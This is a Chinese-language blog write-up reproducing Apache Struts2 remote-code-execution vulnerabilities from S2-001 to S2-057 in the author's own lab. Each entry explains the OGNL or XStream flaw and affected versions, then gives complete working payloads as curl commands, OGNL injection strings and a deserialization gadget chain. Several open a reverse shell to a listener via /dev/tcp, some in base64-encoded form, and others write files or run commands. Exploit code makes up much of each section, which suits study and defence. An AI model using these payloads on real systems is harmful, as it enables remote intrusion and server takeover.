Struts2 系列重点漏洞分析

由于vulhub上的靶场太老无法适配新版kali,我基于旧靶场搭建了一个新靶场dyfawa4/struts2

S2-001

漏洞简介

Struts2远程执行漏洞(S2-001),最早的 Struts2 OGNL漏洞之一。

漏洞成因:struts2漏洞 S2-001是当用户提交表单数据且验证失败时,服务器使用OGNL表达式解析用户先前提交的参数值,%{value}并重新填充相应的表单数据。例如,在注册或登录页面中。如果提交失败,则服务器通常默认情况下将返回先前提交的数据。由于服务器用于%{value}对提交的数据执行OGNL表达式解析,因此服务器可以直接发送有效载荷来执行命令。

漏洞详情: http://struts.apache.org/docs/s2-005.html

影响范围

Struts 2.0.0 – 2.0.8(以及 WebWork altSyntax)

完整执行链

用户输入:%{666}
   ↓
提交到 /login.action
   ↓
Struts2处理请求
   ↓
把username放入ValueStack
   ↓
JSP页面使用<s:textfield>
   ↓
OGNL解析 value
   ↓
执行表达式
   ↓
生成HTML:
<input value="2">
   ↓
浏览器看到:2

漏洞验证

先监听一个端口

image-20260320165647967

漏洞利用payload:

%{#p=new java.lang.ProcessBuilder(new java.lang.String[]{"bash","-c","bash -i >& /dev/tcp/192.168.127.128/4444 0>&1"}).start()}

image-20260320165831252

工具验证

image-20260322205037716

S2-005

漏洞简介

参考吴翰清的《白帽子讲Web安全》一书。

s2-005漏洞的起源源于S2-003(受影响版本: 低于Struts 2.0.12),struts2会将http的每个参数名解析为OGNL语句执行(可理解为java代码)。OGNL表达式通过#来访问struts的对象,struts框架通过过滤#字符防止安全问题,然而通过unicode编码(\u0023)或8进制(\43)即绕过了安全限制,对于S2-003漏洞,官方通过增加安全配置(禁止静态方法调用和类方法执行等)来修补,但是安全配置被绕过再次导致了漏洞,攻击者可以利用OGNL表达式将这2个选项打开,S2-003的修补方案把自己上了一个锁,但是把锁钥匙给插在了锁头上

XWork会将GET参数的键和值利用OGNL表达式解析成Java语句,如:

正常理解:

username=admin

但在漏洞环境中:

参数名 → OGNL表达式

例如:

%{1+1}

可能被直接执行

触发漏洞就是利用了这个点,再配合OGNL的沙盒绕过方法,组成了S2-003。官方对003的修复方法是增加了安全模式(沙盒),S2-005在OGNL表达式中将安全模式关闭,又绕过了修复方法。整体过程如下:

  • S2-003 使用\u0023绕过s2对#的防御
  • S2-003 后官方增加了安全模式(沙盒)
  • S2-005 使用OGNL表达式将沙盒关闭,继续执行代码

修复存在问题,攻击者可以:

通过OGNL表达式 → 重新开启这些限制

比如修改内部安全配置:

allowStaticMethodAccess = true

影响范围

影响版本: 2.0.0 - 2.1.8.1 漏洞详情: http://struts.apache.org/docs/s2-005.html

完整执行链

请求参数进入 Struts2
   ↓
参数名被当成 OGNL 表达式
   ↓
绕过过滤(Unicode / 编码)
   ↓
修改 memberAccess(开权限)
   ↓
修改 context(关限制)
   ↓
调用 Runtime.exec
   ↓
执行系统命令

漏洞验证

先监听端口

image-20260322201707978

构造Poc

redirect:${%23req%3d%23context.get(%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletReq%27%2b%27uest%27),%23s%3dnew%20java.util.Scanner((new%20java.lang.ProcessBuilder(%27bash%20-c%20%7Becho%2CYmFzaCAtaSA%2BJiAvZGV2L3RjcC8xOTIuMTY4LjEyNy4xMjgvNDQ0NCAwPiYx%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D%27.toString().split(%27\\s%27))).start().getInputStream()).useDelimiter(%27\\AAAA%27),%23str%3d%23s.hasNext()?%23s.next():%27%27,%23resp%3d%23context.get(%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletRes%27%2b%27ponse%27),%23resp.setCharacterEncoding(%27UTF-8%27),%23resp.getWriter().println(%23str),%23resp.getWriter().flush(),%23resp.getWriter().close()}

image-20260322203822930

image-20260322203843474

工具验证

image-20260322203912087

s2-009

漏洞介绍

\> 前置阅读: 这个漏洞再次来源于s2-003、s2-005。了解该漏洞原理,需要先阅读s2-005的说明:https://github.com/phith0n/vulhub/blob/master/struts2/s2-005/README.md

参考Struts2漏洞分析之Ognl表达式特性引发的新思路,文中说到,该引入ognl的方法不光可能出现在这个漏洞中,也可能出现在其他java应用中。

Struts2对s2-003的修复方法是禁止静态方法调用,在s2-005中可直接通过OGNL绕过该限制,对于#号,同样使用编码\u0023\43进行绕过;于是Struts2对s2-005的修复方法是禁止\等特殊符号,使用户不能提交反斜线。

但是,如果当前action中接受了某个参数example,这个参数将进入OGNL的上下文。所以,我们可以将OGNL表达式放在example参数中,然后使用/helloword.acton?example=<OGNL statement>&(example)('xxx')=1的方法来执行它,从而绕过官方对#\等特殊字符的防御。

影响范围

2.1.0 - 2.3.1.1

漏洞验证

构造payload

curl "http://192.168.127.128:8080/ajax/example5.action?age=12313&name=%28%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D+new+java.lang.Boolean%28false%29%2C%20%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3d+new+java.lang.Boolean%28true%29%2C%20@java.lang.Runtime@getRuntime%28%29.exec%28%27touch%20/tmp/success%27%29%29%28meh%29&z%5B%28name%29%28%27meh%27%29%5D=true"

文件成功写入

image-20260324191923094

s2-013

漏洞介绍

Struts2 标签中 <s:a><s:url> 都包含一个 includeParams 属性,其值可设置为 none,get 或 all,参考官方其对应意义如下:

  1. none - 链接不包含请求的任意参数值(默认)
  2. get - 链接只包含 GET 请求中的参数和其值
  3. all - 链接包含 GET 和 POST 所有参数和其值

<s:a>用来显示一个超链接,当includeParams=all的时候,会将本次请求的GET和POST参数都放在URL的GET参数上。在放置参数的过程中会将参数进行OGNL渲染,造成任意命令执行漏洞。

漏洞详情:

- http://struts.apache.org/docs/s2-013.html

- http://struts.apache.org/docs/s2-014.html

影响版本

2.0.0 - 2.3.14.1

漏洞验证

先监听端口

image-20260321132329249

构造payload

%24%7B%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23cmd%3D%40java.lang.Runtime%40getRuntime%28%29.exec%28%27bash+-c+%7Becho%2CYmFzaCAtaSA%2BJiAvZGV2L3RjcC8xOTIuMTY4LjEyNy4xMjgvNDQ0NCAwPiYx%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D%27%29%7D"

image-20260321132631475

image-20260321132641159

工具验证

image-20260321132654425

S2-016

漏洞介绍

在 Apache Struts 2.x 中,DefaultActionMapper 支持以下前缀:

action:
redirect:
redirectAction:

这些前缀本意是用于:

  • 页面跳转
  • 重定向控制

问题在于这些前缀后面的内容 会被当作 OGNL 表达式解析执行,但框架没有做有效限制。

漏洞本质

redirect:${OGNL表达式}

被解析为:

执行 OGNL 表达式
  • 用户可控输入
  • 进入 OGNL
  • 无安全限制

    最终导致任意 Java 代码执行 → RCE

利用入口

http://target/index.action?redirect:${...}

不需要表单提交,也不需要参数绑定,属于URL 级别直接触发漏洞

影响范围

影响版本: 2.0.0 - 2.3.15

漏洞详情:

漏洞验证

构造payload

curl -s "http://192.168.127.128:8080/index.action?redirect:%24%7B%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3Dfalse%2C%23f%3D%23_memberAccess.getClass%28%29.getDeclaredField%28%22allowStaticMethodAccess%22%29%2C%23f.setAccessible%28true%29%2C%23f.set%28%23_memberAccess%2Ctrue%29%2C%23fw%3Dnew%20java.io.FileWriter%28%22/tmp/success%22%29%2C%23fw.write%28%22success%22%29%2C%23fw.close%28%29%2C%23genxor%3D%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29.getWriter%28%29%2C%23genxor.println%28%22done%22%29%2C%23genxor.flush%28%29%2C%23genxor.close%28%29%7D"

文件成功写入

image-20260324203337219

工具验证

image-20260317200409615

s2-032

漏洞介绍

Struts2在开启了动态方法调用(Dynamic Method Invocation)的情况下,可以使用method:<name>的方式来调用名字是<name>的方法,而这个方法名将会进行OGNL表达式计算,导致远程命令执行漏洞。

漏洞详情:

- https://cwiki.apache.org/confluence/display/WW/S2-032

- https://www.cnblogs.com/mrchang/p/6501428.html

影响版本

Struts 2.3.20 - Struts Struts 2.3.28 (except 2.3.20.3 and 2.3.24.3)

漏洞验证

构造payload,Java的 Runtime.exec() 不会解析shell重定向符号 > 。需要使用 sh -c 来执行包含重定向的命令。

curl -v "http://192.168.127.128:8080/index.action?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext@getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew%20java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=touch%20/tmp/success"

文件成功写入

image-20260324201954065

工具验证

image-20260324201228680

S2-045

漏洞介绍

S2-045 是 Apache Struts 历史上最著名、影响最大的漏洞之一。

  • 编号:CVE-2017-5638
  • 类型:远程命令执行(RCE)
  • 利用难度:⭐(极低)
  • 危害等级:🔥🔥🔥🔥🔥

漏洞一句话理解

攻击者通过构造恶意 HTTP Header(Content-Type),让 Struts2 在解析上传请求时执行 OGNL 表达式,从而实现远程命令执行。

漏洞发生在:

Jakarta Multipart 解析器

当请求头:

Content-Type

解析失败时, Struts2 会:

抛异常 → 处理异常 → 拼接错误信息 → 执行 OGNL

异常信息中包含了用户可控内容(Content-Type),并且:这个内容会被当成 OGNL 表达式执行

为什么045危害性这么高?主要是攻击入口:

不同于 S2-005 / S2-016:

漏洞入口
S2-005参数名
S2-016URL 前缀
S2-045HTTP Header

利用位置:

Content-Type: %{恶意OGNL}

利用流程

发送请求
   ↓
Content-Type 被解析
   ↓
解析异常
   ↓
进入异常处理逻辑
   ↓
错误信息拼接 OGNL
   ↓
OGNL 被执行
   ↓
执行系统命令

为什么 S2-045 特别危险?

1. 不需要特定路径

不像:

/index.action

只要是 Struts2 应用:

任何 URL 都可能触发

2. 不依赖参数

不需要:

  • GET 参数
  • POST 参数

只靠 Header

3. WAF 难拦

因为:

攻击点在 Header

很多设备:

默认不严格检查 Header

4. 利用极其稳定

几乎:

一打一个准

影响范围

影响版本: Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10

漏洞详情:

漏洞验证

构造payload

curl -v "http://192.168.127.128:8080/" -H "Content-Type: %{(#fw=new java.io.FileWriter('/tmp/success')).(#fw.write('success')).(#fw.close()).(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd','/c',#cmd}:{'/bin/sh','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())} multipart/form-data"

成功写入文件

image-20260324204203752

工具验证

image-20260324203823457

s2-052

漏洞介绍

Struts2-Rest-Plugin是让Struts2能够实现Restful API的一个插件,其根据Content-Type或URI扩展名来判断用户传入的数据包类型,有如下映射表:

扩展名Content-Type解析方法
xmlapplication/xmlxstream
jsonapplication/jsonjsonlib或jackson(可选)
xhtmlapplication/xhtml+xml
application/x-www-form-urlencoded
multipart/form-data

jsonlib无法引入任意对象,而xstream在默认情况下是可以引入任意对象的(针对1.5.x以前的版本),方法就是直接通过xml的tag name指定需要实例化的类名:

<classname></classname>
//或者
<paramname class="classname"></paramname>

所以,我们可以通过反序列化引入任意类造成远程命令执行漏洞,只需要找到一个在Struts2库中适用的gedget。

漏洞详情:

- http://struts.apache.org/docs/s2-052.html

- https://yq.aliyun.com/articles/197926

影响版本

Struts 2.1.2 - Struts 2.3.33, Struts 2.5 - Struts 2.5.12

漏洞验证

构造payload

curl -X POST "http://192.168.127.128:8080/orders/3/edit" \
  -H "Content-Type: application/xml" \
  -d '<map>
  <entry>
    <jdk.nashorn.internal.objects.NativeString>
      <flags>0</flags>
      <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
        <dataHandler>
          <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
            <is class="javax.crypto.CipherInputStream">
              <cipher class="javax.crypto.NullCipher">
                <initialized>false</initialized>
                <opmode>0</opmode>
                <serviceIterator class="javax.imageio.spi.FilterIterator">
                  <iter class="javax.imageio.spi.FilterIterator">
                    <iter class="java.util.Collections$EmptyIterator"/>
                    <next class="java.lang.ProcessBuilder">
                      <command>
                        <string>sh</string>
                        <string>-c</string>
                        <string>echo success > /tmp/success</string>
                      </command>
                      <redirectErrorStream>false</redirectErrorStream>
                    </next>
                  </iter>
                  <filter class="javax.imageio.ImageIO$ContainsFilter">
                    <method>
                      <class>java.lang.ProcessBuilder</class>
                      <name>start</name>
                      <parameter-types/>
                    </method>
                    <name>foo</name>
                  </filter>
                  <next class="string">foo</next>
                </serviceIterator>
                <lock/>
              </cipher>
              <input class="java.lang.ProcessBuilder$NullInputStream"/>
              <ibuffer></ibuffer>
              <done>false</done>
              <ostart>0</ostart>
              <ofinish>0</ofinish>
              <closed>false</closed>
            </is>
            <consumed>false</consumed>
          </dataSource>
          <transferFlavors/>
        </dataHandler>
        <dataLen>0</dataLen>
      </value>
    </jdk.nashorn.internal.objects.NativeString>
    <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
  </entry>
  <entry>
    <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
    <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
  </entry>
</map>'

文件成功写入

image-20260324205443658

st2-057

漏洞简介

当Struts2的配置满足以下条件时:

- alwaysSelectFullNamespace值为true

- action元素未设置namespace属性,或使用了通配符

namespace将由用户从uri传入,并作为OGNL表达式计算,最终造成任意命令执行漏洞。

漏洞详情:

影响版本

小于等于 Struts 2.3.34 与 Struts 2.5.16

漏洞利用

构造payload

curl -v "http://192.168.127.128:8080/struts2-showcase/\$%7B(%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS).(%23ct%3D%23request%5B'struts.valueStack'%5D.context).(%23cr%3D%23ct%5B'com.opensymphony.xwork2.ActionContext.container'%5D).(%23ou%3D%23cr.getInstance(%40com.opensymphony.xwork2.ognl.OgnlUtil%40class)).(%23ou.getExcludedPackageNames().clear()).(%23ou.getExcludedClasses().clear()).(%23ct.setMemberAccess(%23dm)).(%23fw%3Dnew%20java.io.FileWriter('/tmp/success')).(%23fw.write('success')).(%23fw.close())%7D/actionChain1.action"

成功写入文件

image-20260324210202571

标签: none

添加新评论